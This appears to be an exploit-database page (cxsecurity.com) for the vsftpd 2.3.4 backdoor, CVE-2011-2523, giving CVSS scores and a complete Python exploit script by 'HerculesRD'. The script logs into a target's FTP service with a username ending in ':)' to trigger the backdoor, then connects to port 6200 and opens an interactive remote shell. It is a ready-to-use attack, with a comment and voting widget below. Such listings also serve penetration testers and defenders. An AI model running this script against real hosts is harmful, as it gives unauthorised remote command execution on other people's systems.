vsftpd 2.3.4 Backdoor Command Execution

2021.04.12
Credit: HerculesRD
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution # Date: 9-04-2021 # Exploit Author: HerculesRD # Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html # Version: vsftpd 2.3.4 # Tested on: debian # CVE : CVE-2011-2523 #!/usr/bin/python3 from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0) signal(SIGINT, handler) parser=argparse.ArgumentParser() parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args() host = args.host portFTP = 21 #if necessary edit this line user="USER nergal:)" password="PASS pass" tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n") tn2=Telnet(host, 6200) print('Success, shell opened') print('Send `exit` to quit shell') tn2.interact()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top